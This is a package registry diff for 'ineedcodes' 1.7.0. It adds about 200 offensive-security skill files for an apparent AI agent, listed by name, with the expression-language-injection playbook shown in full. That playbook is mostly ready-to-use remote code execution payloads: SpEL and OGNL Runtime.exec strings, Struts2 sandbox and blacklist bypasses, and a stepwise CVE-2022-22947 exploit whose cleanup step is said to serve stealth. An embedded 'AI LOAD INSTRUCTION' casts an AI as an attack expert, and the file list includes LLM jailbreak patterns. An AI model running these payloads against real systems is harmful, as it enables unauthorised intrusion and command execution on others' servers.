ineedcodes 1.6.0 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +47 -11
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,243 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: expression-language-injection
|
|
3
|
+
description: >-
|
|
4
|
+
Expression Language injection playbook. Use when Java EL, SpEL, OGNL, or MVEL expressions may evaluate attacker-controlled input in Spring, Struts2, Confluence, or similar frameworks.gated: true
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# SKILL: Expression Language Injection — Expert Attack Playbook
|
|
8
|
+
|
|
9
|
+
> **AI LOAD INSTRUCTION**: Expert EL injection techniques covering SpEL (Spring), OGNL (Struts2), and Java EL (JSP/JSF). Distinct from SSTI — EL injection targets expression evaluators in Java frameworks, not template engines. Covers sandbox bypass, `_memberAccess` manipulation, actuator abuse, and real-world CVE chains.
|
|
10
|
+
|
|
11
|
+
## 0. RELATED ROUTING
|
|
12
|
+
|
|
13
|
+
- [ssti-server-side-template-injection](../ssti-server-side-template-injection/SKILL.md) for template engines (Jinja2, FreeMarker, Twig) — different attack surface
|
|
14
|
+
- [jndi-injection](../jndi-injection/SKILL.md) when EL evaluation leads to JNDI lookup
|
|
15
|
+
|
|
16
|
+
**Key distinction**: SSTI targets template rendering engines; EL injection targets expression evaluators embedded in Java frameworks. They share detection probes (`${7*7}`) but diverge in exploitation.
|
|
17
|
+
|
|
18
|
+
---
|
|
19
|
+
|
|
20
|
+
## 1. DETECTION — POLYGLOT PROBES
|
|
21
|
+
|
|
22
|
+
```text
|
|
23
|
+
${7*7} → 49 = SpEL, OGNL, or Java EL
|
|
24
|
+
#{7*7} → 49 = SpEL (alternative syntax) or JSF EL
|
|
25
|
+
%{7*7} → 49 = OGNL (Struts2)
|
|
26
|
+
${T(java.lang.Math).random()} → random float = SpEL confirmed
|
|
27
|
+
%{#context} → object dump = OGNL confirmed
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
### Disambiguation
|
|
31
|
+
|
|
32
|
+
| Response to `${7*7}` | Response to `%{7*7}` | Engine |
|
|
33
|
+
|---|---|---|
|
|
34
|
+
| 49 | literal `%{7*7}` | SpEL or Java EL |
|
|
35
|
+
| literal `${7*7}` | 49 | OGNL (Struts2) |
|
|
36
|
+
| 49 | 49 | Both may be active |
|
|
37
|
+
|
|
38
|
+
---
|
|
39
|
+
|
|
40
|
+
## 2. SpEL (SPRING EXPRESSION LANGUAGE)
|
|
41
|
+
|
|
42
|
+
### Where SpEL Appears
|
|
43
|
+
|
|
44
|
+
- `@Value("${...}")` annotations
|
|
45
|
+
- Spring Security expressions (`@PreAuthorize`)
|
|
46
|
+
- Spring Cloud Gateway route predicates and filters
|
|
47
|
+
- Thymeleaf `th:text="${...}"` (when combined with `__${...}__` preprocessing)
|
|
48
|
+
- Spring Data `@Query` with SpEL
|
|
49
|
+
|
|
50
|
+
### RCE via Runtime.exec
|
|
51
|
+
|
|
52
|
+
```java
|
|
53
|
+
${T(java.lang.Runtime).getRuntime().exec("id")}
|
|
54
|
+
```
|
|
55
|
+
|
|
56
|
+
### RCE with Output Capture (Commons IO)
|
|
57
|
+
|
|
58
|
+
```java
|
|
59
|
+
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
### RCE with Output Capture (Spring StreamUtils)
|
|
63
|
+
|
|
64
|
+
```java
|
|
65
|
+
#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
### ProcessBuilder (alternative when Runtime is blocked)
|
|
69
|
+
|
|
70
|
+
```java
|
|
71
|
+
${new java.lang.ProcessBuilder(new String[]{"id"}).start()}
|
|
72
|
+
```
|
|
73
|
+
|
|
74
|
+
### Spring Cloud Gateway — CVE-2022-22947
|
|
75
|
+
|
|
76
|
+
Exploit via actuator to add malicious route with SpEL filter:
|
|
77
|
+
|
|
78
|
+
```bash
|
|
79
|
+
# Step 1: Add route with SpEL in filter (with output capture)
|
|
80
|
+
POST /actuator/gateway/routes/hacktest
|
|
81
|
+
Content-Type: application/json
|
|
82
|
+
{
|
|
83
|
+
"id": "hacktest",
|
|
84
|
+
"filters": [{
|
|
85
|
+
"name": "AddResponseHeader",
|
|
86
|
+
"args": {
|
|
87
|
+
"name": "Result",
|
|
88
|
+
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}"
|
|
89
|
+
}
|
|
90
|
+
}],
|
|
91
|
+
"uri": "http://example.com",
|
|
92
|
+
"predicates": [{"name": "Path", "args": {"_genkey_0": "/hackpath"}}]
|
|
93
|
+
}
|
|
94
|
+
|
|
95
|
+
# Step 2: Refresh routes to apply
|
|
96
|
+
POST /actuator/gateway/refresh
|
|
97
|
+
|
|
98
|
+
# Step 3: Trigger the route
|
|
99
|
+
GET /hackpath
|
|
100
|
+
# Response header "Result" contains command output
|
|
101
|
+
|
|
102
|
+
# Step 4: Clean up (important for stealth)
|
|
103
|
+
DELETE /actuator/gateway/routes/hacktest
|
|
104
|
+
POST /actuator/gateway/refresh
|
|
105
|
+
```
|
|
106
|
+
|
|
107
|
+
### SpEL Sandbox Bypass
|
|
108
|
+
|
|
109
|
+
When `SimpleEvaluationContext` is used (restricts `T()` operator):
|
|
110
|
+
|
|
111
|
+
```java
|
|
112
|
+
// Try reflection-based bypass:
|
|
113
|
+
${''.class.forName('java.lang.Runtime').getMethod('exec',''.class).invoke(''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id')}
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
---
|
|
117
|
+
|
|
118
|
+
## 3. OGNL (OBJECT-GRAPH NAVIGATION LANGUAGE)
|
|
119
|
+
|
|
120
|
+
### Where OGNL Appears
|
|
121
|
+
|
|
122
|
+
- Apache Struts2 — primary OGNL consumer
|
|
123
|
+
- Confluence Server — uses OGNL in certain request paths
|
|
124
|
+
- Any Java app using `ognl.Ognl.getValue()` or `ognl.Ognl.setValue()`
|
|
125
|
+
|
|
126
|
+
### Basic RCE
|
|
127
|
+
|
|
128
|
+
```
|
|
129
|
+
%{(#cmd='id').(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec(#cmd))}
|
|
130
|
+
```
|
|
131
|
+
|
|
132
|
+
### Struts2 Sandbox Bypass — _memberAccess Manipulation
|
|
133
|
+
|
|
134
|
+
Struts2 restricts OGNL via `SecurityMemberAccess`. Classic bypass clears restrictions:
|
|
135
|
+
|
|
136
|
+
```
|
|
137
|
+
%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
|
|
138
|
+
```
|
|
139
|
+
|
|
140
|
+
### Struts2 OgnlUtil Blacklist Clear
|
|
141
|
+
|
|
142
|
+
Later Struts2 versions use class/package blacklists. Bypass by clearing `excludedClasses` and `excludedPackageNames`:
|
|
143
|
+
|
|
144
|
+
```
|
|
145
|
+
%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(#cmd='id').(#rt=@java.lang.Runtime@getRuntime().exec(#cmd))}
|
|
146
|
+
```
|
|
147
|
+
|
|
148
|
+
### Key Struts2 CVEs
|
|
149
|
+
|
|
150
|
+
| CVE | Vector | Payload Location |
|
|
151
|
+
|---|---|---|
|
|
152
|
+
| S2-045 (CVE-2017-5638) | Content-Type header | `%{...}` in Content-Type |
|
|
153
|
+
| S2-046 (CVE-2017-5638) | Multipart filename | OGNL in upload filename |
|
|
154
|
+
| S2-016 (CVE-2013-2251) | `redirect:` / `redirectAction:` prefix | URL parameter |
|
|
155
|
+
| S2-048 (CVE-2017-9791) | Struts Showcase | ActionMessage with OGNL |
|
|
156
|
+
| S2-057 (CVE-2018-11776) | Namespace OGNL | URL path |
|
|
157
|
+
|
|
158
|
+
### Confluence OGNL — CVE-2021-26084
|
|
159
|
+
|
|
160
|
+
Confluence Server allows OGNL injection via the `queryString` or action parameters:
|
|
161
|
+
|
|
162
|
+
```bash
|
|
163
|
+
POST /pages/createpage-entervariables.action
|
|
164
|
+
Content-Type: application/x-www-form-urlencoded
|
|
165
|
+
|
|
166
|
+
queryString=%5cu0027%2b%7b3*3%7d%2b%5cu0027
|
|
167
|
+
# URL-decoded: \u0027+{3*3}+\u0027
|
|
168
|
+
# If response contains 9 → confirmed
|
|
169
|
+
# Escalate to Runtime.exec for RCE
|
|
170
|
+
```
|
|
171
|
+
|
|
172
|
+
---
|
|
173
|
+
|
|
174
|
+
## 4. JAVA EL (JSP / JSF)
|
|
175
|
+
|
|
176
|
+
### Where Java EL Appears
|
|
177
|
+
|
|
178
|
+
- JSP pages: `${expression}` and `#{expression}`
|
|
179
|
+
- JSF (JavaServer Faces): value and method bindings
|
|
180
|
+
- Custom tag libraries
|
|
181
|
+
|
|
182
|
+
### RCE Payloads
|
|
183
|
+
|
|
184
|
+
```java
|
|
185
|
+
// Java EL with Runtime:
|
|
186
|
+
${Runtime.getRuntime().exec("id")}
|
|
187
|
+
|
|
188
|
+
// Via pageContext (JSP):
|
|
189
|
+
${pageContext.request.getServletContext().getClassLoader()}
|
|
190
|
+
|
|
191
|
+
// Reflection-based:
|
|
192
|
+
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}
|
|
193
|
+
```
|
|
194
|
+
|
|
195
|
+
---
|
|
196
|
+
|
|
197
|
+
## 5. DETECTION METHODOLOGY
|
|
198
|
+
|
|
199
|
+
```
|
|
200
|
+
Input reflected and ${7*7} returns 49?
|
|
201
|
+
├── Java application?
|
|
202
|
+
│ ├── Struts2? → Try %{...} OGNL payloads
|
|
203
|
+
│ │ └── Check Content-Type injection (S2-045)
|
|
204
|
+
│ ├── Spring? → Try T(java.lang.Runtime) SpEL
|
|
205
|
+
│ │ └── Check /actuator/gateway (Spring Cloud Gateway)
|
|
206
|
+
│ ├── Confluence? → Try OGNL via action parameters
|
|
207
|
+
│ └── JSP/JSF? → Try Java EL payloads
|
|
208
|
+
│
|
|
209
|
+
├── Error messages reveal framework?
|
|
210
|
+
│ ├── "ognl.OgnlException" → OGNL
|
|
211
|
+
│ ├── "SpelEvaluationException" → SpEL
|
|
212
|
+
│ └── "javax.el.ELException" → Java EL
|
|
213
|
+
│
|
|
214
|
+
└── Blocked by sandbox?
|
|
215
|
+
├── OGNL: clear _memberAccess / excludedClasses
|
|
216
|
+
├── SpEL: reflection bypass for SimpleEvaluationContext
|
|
217
|
+
└── Try alternative exec methods (ProcessBuilder, ScriptEngine)
|
|
218
|
+
```
|
|
219
|
+
|
|
220
|
+
---
|
|
221
|
+
|
|
222
|
+
## 6. QUICK REFERENCE
|
|
223
|
+
|
|
224
|
+
```text
|
|
225
|
+
# SpEL RCE:
|
|
226
|
+
${T(java.lang.Runtime).getRuntime().exec("id")}
|
|
227
|
+
|
|
228
|
+
# OGNL RCE (Struts2):
|
|
229
|
+
%{(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}
|
|
230
|
+
|
|
231
|
+
# OGNL with sandbox bypass:
|
|
232
|
+
%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}
|
|
233
|
+
|
|
234
|
+
# Java EL RCE:
|
|
235
|
+
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}
|
|
236
|
+
|
|
237
|
+
# Confluence CVE-2021-26084 probe:
|
|
238
|
+
queryString=\u0027%2b{3*3}%2b\u0027
|
|
239
|
+
|
|
240
|
+
# Spring Cloud Gateway CVE-2022-22947:
|
|
241
|
+
POST /actuator/gateway/routes/x → SpEL in filter args
|
|
242
|
+
POST /actuator/gateway/refresh
|
|
243
|
+
```
|
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: file-access-vuln
|
|
3
|
+
description: >-
|
|
4
|
+
Entry P1 category router for file access and upload workflows. Use when
|
|
5
|
+
testing download endpoints, file paths, local file inclusion, upload flows,
|
|
6
|
+
preview pipelines, archive extraction, or storage and sharing boundaries.gated: true
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
# File Access Router
|
|
10
|
+
|
|
11
|
+
This is the routing entry point for filesystem paths, download endpoints, upload pipelines, and file preview handling.
|
|
12
|
+
|
|
13
|
+
## When to Use
|
|
14
|
+
|
|
15
|
+
- Parameters, filenames, download endpoints, or import flows influence file paths
|
|
16
|
+
- The target supports upload, preview, transcoding, extraction, sharing, download, or proxied file access
|
|
17
|
+
- You need to decide whether this is path traversal/LFI or an upload-validation/processing-chain issue
|
|
18
|
+
|
|
19
|
+
## Skill Map
|
|
20
|
+
|
|
21
|
+
- [Path Traversal LFI](../path-traversal-lfi/SKILL.md): path traversal, file read, wrapper abuse, include chains
|
|
22
|
+
- [Upload Insecure Files](../upload-insecure-files/SKILL.md): upload validation, storage paths, processing chains, overwrite risk, preview/share boundaries
|
|
23
|
+
|
|
24
|
+
## Recommended Flow
|
|
25
|
+
|
|
26
|
+
1. First identify whether the entry point is a path parameter, download endpoint, or upload workflow
|
|
27
|
+
2. Then locate whether the issue appears in accept, store, process, or serve stages
|
|
28
|
+
3. Small path-chain and upload-bypass samples are merged into the main topic skills; no separate payload entry is needed
|
|
29
|
+
|
|
30
|
+
## Related Categories
|
|
31
|
+
|
|
32
|
+
- [injection-checking](../injection-checking/SKILL.md)
|
|
33
|
+
- [business-logic-vuln](../business-logic-vuln/SKILL.md)
|
|
@@ -0,0 +1,312 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: format-string-exploitation
|
|
3
|
+
description: >-
|
|
4
|
+
Format string exploitation playbook. Use when printf-family functions receive user-controlled format strings, enabling arbitrary stack reads (%p/%s), arbitrary memory writes (%n/%hn/%hhn), GOT/hook overwrites, and canary/libc/PIE leaks.gated: true
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# SKILL: Format String Exploitation — Expert Attack Playbook
|
|
8
|
+
|
|
9
|
+
> **AI LOAD INSTRUCTION**: Expert format string techniques. Covers stack reading, arbitrary write via %n, GOT overwrite, __malloc_hook overwrite, pointer chain exploitation, blind format string, FORTIFY_SOURCE bypass, 64-bit null byte handling, and pwntools automation. Distilled from ctf-wiki fmtstr, CTF patterns, and real-world scenarios. Base models often miscalculate positional parameter offsets or forget 64-bit address placement after format string.
|
|
10
|
+
|
|
11
|
+
## 0. RELATED ROUTING
|
|
12
|
+
|
|
13
|
+
- [stack-overflow-and-rop](../stack-overflow-and-rop/SKILL.md) — combine format string leak with stack overflow for full exploit
|
|
14
|
+
- [binary-protection-bypass](../binary-protection-bypass/SKILL.md) — format string is the primary canary/PIE/ASLR leak method
|
|
15
|
+
- [arbitrary-write-to-rce](../arbitrary-write-to-rce/SKILL.md) — convert format string write primitive to code execution targets
|
|
16
|
+
- [heap-exploitation](../heap-exploitation/SKILL.md) — heap address leak via format string for heap exploitation
|
|
17
|
+
|
|
18
|
+
---
|
|
19
|
+
|
|
20
|
+
## 1. VULNERABILITY IDENTIFICATION
|
|
21
|
+
|
|
22
|
+
### Vulnerable Pattern
|
|
23
|
+
|
|
24
|
+
```c
|
|
25
|
+
printf(user_input); // VULNERABLE: user controls format string
|
|
26
|
+
